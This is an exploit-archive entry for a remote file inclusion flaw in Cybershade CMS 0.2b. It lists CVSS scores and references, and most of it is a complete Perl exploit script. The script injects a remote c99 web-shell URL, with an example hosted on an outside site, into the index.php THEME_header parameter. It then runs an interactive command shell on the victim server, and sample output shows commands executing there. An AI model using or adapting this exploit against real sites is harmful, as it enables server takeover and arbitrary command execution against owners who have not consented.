Cybershade CMS 0.2b (index.php) Remote File Inclusion Exploit

2009.02.25
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl #################################################################### # Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit # url: http://sourceforge.net/projects/cybershadecms/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://www.hack0wn.com # team: Spanish Hackers Team - [SHT] # # Hack0wn Security Project!! # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # #################################################################### # # "need" register_globals = On # # RFI vuln!: [index.php] # line 6: include $THEME_header; # line 8: include $THEME_footer; # #################################################################### # OUTPUT: # # [shell]:~$ id # uid=99(nobody) gid=99(nobody) groups=99(nobody) # [shell]:~$ uname -a # Linux xxxxx.xxxxx.com 2.6.18-92.1.13.el5PAE #1 SMP Wed Sep 24 20:07:49 EDT 2008 i686 i686 i386 GNU/Linux # [shell]:~$ 0h my God ;D use LWP::UserAgent; use HTTP::Request; use LWP::Simple; use Getopt::Long; sub clear{ system(($^O eq 'MSWin32') ? 'cls' : 'clear'); } &clear(); sub banner { &clear(); print "[x] Cybershade CMS 0.2b (index.php) RFI shell_cmd[c99] Exploit\n"; print "[x] Written By JosS\n"; print "[x] sys-project[at]hotmail[dot]com\n\n"; print "[+] Usage:\n"; print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n"; print "[+] eX: $0 -vuln \"http://www.p0c.com/cms/\" -shell \"http://hack0wn.com/desc/shells/c99.txt?\"\n\n"; exit(); } my $options = GetOptions ( 'help!' => \$help, 'vuln=s' => \$vuln, 'shell=s' => \$shell ); &banner unless ($vuln); &banner unless ($shell); &banner if $banner eq 1; chomp($vuln); chomp($shell); while (){ print "[shell]:~\$ "; chomp($cmd=<STDIN>); if ($cmd eq "exit" || $cmd eq "quit") { exit 0; } my $ua = LWP::UserAgent->new; $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1"; chomp($iny); my $own = $vuln . "/index.php?THEME_header=" . $shell . $iny; chomp($own); my $req = HTTP::Request->new(GET => $own); my $res = $ua->request($req); my $con = $res->content; if ($res->is_success){ print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix); } else { print "[p0c] Exploit failed\n"; exit(1); } } # __h0__

References:

http://xforce.iss.net/xforce/xfdb/47725
http://www.securityfocus.com/bid/33101
http://www.milw0rm.com/exploits/7668


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